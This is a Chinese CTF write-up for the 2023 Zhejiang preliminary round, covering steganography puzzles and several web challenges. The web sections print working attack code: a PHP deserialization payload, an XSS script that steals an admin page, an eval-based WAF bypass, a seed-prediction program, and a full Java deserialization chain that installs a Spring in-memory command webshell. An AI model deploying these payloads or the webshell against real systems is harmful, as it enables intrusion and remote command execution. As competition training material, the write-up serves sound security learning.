浙江省初赛 2023
本文最后更新于 146 天前,其中的信息可能已经有所发展或是发生改变。

Misc

number gamenumber game

打开 F12 查看前端源码,发现这有一段代码挺可疑的,这里直接拿到控制台跑一下就行

var _0x14184c = [0x38, 0x6f, 0x1e, 0x24, 0x1, 0x32, 0x51, 0x45, 0x1, 0x3c, 0x24, 0xb, 0x55, 0x38, 0xa, 0x5d, 0x28, 0x12, 0x33, 0xb, 0x5d, 0x20, 0x1e, 0x46, 0x17, 0x3d, 0x10, 0x2a, 0x41, 0x44, 0x49, 0x1a, 0x31, 0x5a]
          , _0x477866 = '';
        for (var _0x6698b7 = 0x0; _0x6698b7 < _0x14184c['length']; _0x6698b7++)
            _0x477866 += String[_0x38f496(0xd9)](_0x14184c[_0x6698b7] ^ _0x6698b7 + 0x5a);
        alert(_0x477866);

Steins_Gate

图片像素由嘟噜组成,并且每个字所占像素大小相同,并且颜色渐变,猜测 lsb 隐写要从字中提取像素

每个字是 16*16,尝试提取中心点等尝试不对;考虑到字都有一个口字旁,且其所占像素位置一致,尝试提取

发现 lsb 隐写有个 base64 编码,是一个多行的 base64,且每一行都有两个等号,两个等号后有一些杂数据,去除

from PIL import Image
import libnum
img = Image.open('Steins_Gate.png')
f=open('rgb.txt','wb')
width,height=img.size
for i in range(6,height,16):
    try:
        bins = ""
        for j in range(2,width,16):
            tmp = img.getpixel((j,i))
            bins += str(tmp[0] & 1) + str(tmp[1] & 1) + str(tmp[2] & 1)
        data = libnum.b2s(bins)
        print(data.index(b"=="))
        f.write(data[:data.index(b"==")+2]+b"\n")
    except:
        break

然后 base64 解密得到一个 jpg,同时多行 base64,明显 base64 隐写

import base64
bin_str=''
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('rgb.txt','r') as f:
    for line in f.readlines():
        stegb64="".join(line.split())
        rowb64="".join(str(base64.b64encode(base64.b64decode(stegb64)),'utf-8').split())
        offset=abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum=line.count('=')
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
    #print(bin_str)
    print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0,len(bin_str),8)]))

得到 DuDuLu~T0_Ch3@t_THe_w0r1d,猜测 jpg 隐写,逐格尝试,发现是 outguess

Ez_misc

看 yuanshen 文件明显是一个字节颠倒的 jpg

steghide 隐写

Web

Easy php

反序列化

<?php

class AAA{
    public $cmd;
}
class BBB{
    public $param1;
}
class CCC{
    public $func;
}

$b = new BBB();
$a = new AAA();
$c = new CCC();
$b->param1 = $c;
$c->func = $a;
$a->cmd = "system('cat /flag');";

echo urlencode(serialize($b));

my2to

Xssbot

题目的 flag 在 admin 的页面,所以得想办法 XSS 来获取 admin 的页面;审计代码发现存在文件上传接口

所以可以上传一个恶意的 html 文件进行 XSS,但由于题目环境不出网,所以得想办法外带 flag;这里还是可以利用题目给的文件上传接口来讲 flag 写入 public/uploads

<script>
    if(document.domain != "localhost") {
      location = "http://localhost/uploads/attack.html";
    }else{
      fetch("/todo", {method: "GET", credentials: "include"})
      .then(res => res.text())
      .then(data => {
        var blob = new Blob([data], { type: 'text/plain' });
        var formData = new FormData();
        formData.append('file', blob, 'result.txt');
        fetch('/api/upload', {
          method: 'POST',
          body: formData,
        });});
}
</script>

上传后,触发 bot 访问

Can you read flag

开局一个注释 //eval($_GET[a]); 直接 /?a=system('whoami'); 发现有 waf

使用 file_get_contents 尝试读 index.php 得到

ban 了一些东西,直接再套一层 eval 轻松绕过

但直接读 flag 没有权限,运行 /readflag 又需要交互式的 shell 去计算给的值。

但查看/tmp/src 目录下的源码,可以发现题目 /readflag 的源码,其随机数生成有缺陷,种子是 time(0),因此可以写一个 c 语言程序,得到 10 秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查

int main(){
        unsigned int v3 = time(0)+10;
        unsigned int v9;
        unsigned int v10;
        srand(v3);
        int v11 = rand() % 101 + 100;
        printf("y\n");
        for (int i = 0; i < v11; ++i){
                v10 = rand() % 1000000;
                v9 = rand() % 9000000;
                printf("%d\n", v10+v9);
        }
}

secObj

题目给了 jar 包,审计发现存在反序列化接口

但过滤了一些类,然后这里其实可以使用 jackson 链 + 二次反序列化 +HotSwappableTargetSource 来绕过

package com.example.demo.exp;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class Exp {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        //内存马
        byte[] bytes = Repository.lookupClass(MemShell.class).getBytes();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "aaaa");
        setFieldValue(templatesImpl, "_tfactory", null);
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject((Serializable) proxyObj, privateKey, signingEngine);

        POJONode jsonNodes = new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);

    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

内存马

package com.example.demo.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

//springboot 2.6 + 内存马
public class MemShell extends AbstractTranslet {

    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            MemShell springControllerMemShell = new MemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后就是绕过 spring security 了,注意这里只用了一个 * ,所以存在绕过;最后加上 _csrf token 即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇